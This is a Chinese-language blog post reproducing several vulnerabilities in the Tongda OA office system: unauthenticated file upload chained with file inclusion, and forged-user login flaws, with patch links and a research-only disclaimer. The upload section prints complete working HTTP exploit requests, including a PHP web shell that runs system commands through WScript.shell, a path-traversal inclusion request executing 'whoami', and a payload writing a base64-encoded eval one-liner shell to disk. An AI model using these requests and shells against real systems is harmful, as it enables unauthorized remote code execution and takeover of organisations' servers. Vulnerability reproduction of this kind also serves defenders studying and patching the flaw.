MENU

通达OA漏洞复现

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

通达OA介绍

通达OA是北京通达信科科技有限公司出品的 "Office Anywhere 通达网络智能办公系统"。

文件上传&文件包含getshell

漏洞信息:

3月13日,通达OA在官方论坛发布通告称,近日接到用户反馈遭到勒索病毒攻击,提示用户注意安全风险,并且于同一天对所有版本发布了加固补丁。

在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发

漏洞等级:高危

漏洞影响版本:

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版

漏洞原理:

该漏洞存在于以下两个链接中:

任意文件上传漏洞  /ispirit/im/upload.php
本地文件包含漏洞  /ispirit/interface/gateway.php
有些版本gateway.php路径不同
如2013:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
2017:
/ispirit/im/upload.php
/mac/gateway.Php
本文使用的v11版本路径为
/ispirit/im/upload.php
/ispirit/interface/gateway.php
访问任意文件上传漏洞路径/ispirit/im/upload.php

通达OA使用zend加密,需要使用SeayDzend工具解密

这个工具同样出自Seay师傅之手(Seay源代码审计系统就是出自这个师傅)

也可以使用在线加解密网站

比较安装补丁前后的文件ispirit/im/upload.php如下:

可以看出upload.php在修复前如果$P非空就不需要通过auth.php验证即可执行后续代码,

利用此处逻辑伸缩可绕过过登陆验证直接上传文件

往下走遇到$DEST_UID同样也可以通过POST的方式自行赋值

接着到了判断文件的点,此处可以知道文件上传的变量名为ATTACHMENT

继续跟进upload函数跳转到文件inc/utility_file.php

这里对上传的文件进行了一系列的检查,包括黑名单等限制

那么我们上传jpg格式的php代码,然后文件包含即可

漏洞复现:

首先自行下载11.3安装包

下载完源码后全部默认安装一直下一步,安装完后访问localhost或者你本地的ip

登陆界面

在未登录状态访问任意文件上传漏洞路径/ispirit/im/upload.php

访问路径显示- ERR 用户未登录,此时burp抓包拦截并修改为如下:

POST /ispirit/im/upload.php HTTP/1.1
Host: 10.103.51.104
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"


------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

------WebKitFormBoundaryBwVAwV3O4sifyhr3--

这里使用了COM组件wscript.shell来绕过disable_function

打开文件夹可以看到未经过登录验证成功上传了jpg文件:

接下来访问文件包含利用的链接:/ispirit/interface/gateway.php

POSTjson赋值,指定keyurlvalue为文件位置

修改为如下:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 10.103.51.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

json={"url":"/general/../../attach/im/2009/1066533428.jpg"}&cmd=whoami

成功执行命令!也可以把图片马的内容改为执行写入一句话的命令:

<?php
$fp = fopen('test.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);

修改文件名发包执行文件包含后,shell被成功写入:

修复建议:

官方通告:https://www.tongda2000.com/news/p673.php

版本更新包下载地址
V11版http://cdndown.tongda2000.com/oa/security/2020_A1.11.3.exe
2017版http://cdndown.tongda2000.com/oa/security/2020_A1.10.19.exe
2016版http://cdndown.tongda2000.com/oa/security/2020_A1.9.13.exe
2015版http://cdndown.tongda2000.com/oa/security/2020_A1.8.15.exe
2013增强版http://cdndown.tongda2000.com/oa/security/2020_A1.7.25.exe
2013版http://cdndown.tongda2000.com/oa/security/2020_A1.6.20.exe

参考文章:

任意前台登录漏洞

漏洞信息:

通达OA是一套国内常用的办公系统,其此次安全更新修复的高危漏洞为任意用户登录漏洞。攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)。

漏洞等级:高危

漏洞影响版本:

  • 通达OA < 11.5.200417

漏洞原理:

解密工具参照第一部分漏洞原理

漏洞复现

首先,不登录界面打开查看cookie

使用POC工具TongDaOA-Fake-User获取链接cookie

将原来的cookie修改为POC获取到的cookie

访问/general/index.php即可直接访问系统:

修复建议:

参考文章:

任意用户登录漏洞(匿名RCE)

漏洞信息:

伪造任意用户(含管理员)登录漏洞的触发点在扫码登录功能,服务端只取了UID来做用户身份鉴别,由于UID是整型递增ID,从而导致可以登录指定UID用户(admin的缺省UID为1

漏洞等级:高危

漏洞影响版本:

  • 通达OA v2017、v11.x < v11.5 支持扫码登录版本

漏洞原理:

v11.5更新修复了客户端扫码登录和Web端扫码登录接口

Web端扫码登录流程大致流程分四步:

  • Web端访问 /general/login_code.php?codeuid=随机字符串 生成一个二维码,codeuid作为这个二维码凭证。
  • Web端通过循环请求/general/login_code_check.php,将codeuid发送到服务端,判断是否有人扫了这个二维码。
  • 移动端扫码这个二维码,然后将codeuid等数据发送到/general/login_code_scan.php服务端进行保存。
  • Web端通过login_code_check.php取得codeuid等扫码数据后(其实取数据这一步已经产生$_SESSION["LOGIN_UID"]登录了),再通过Web端发送到logincheck_code.php进行登录。

Web端登录请求脚本如下:

漏洞复现:

POC&EXP工具:https://github.com/zrools/tools/tree/master/python

修复建议:

参考文章:

任意文件删除getshell

本文完。

最后编辑于: 2020 年 09 月 18 日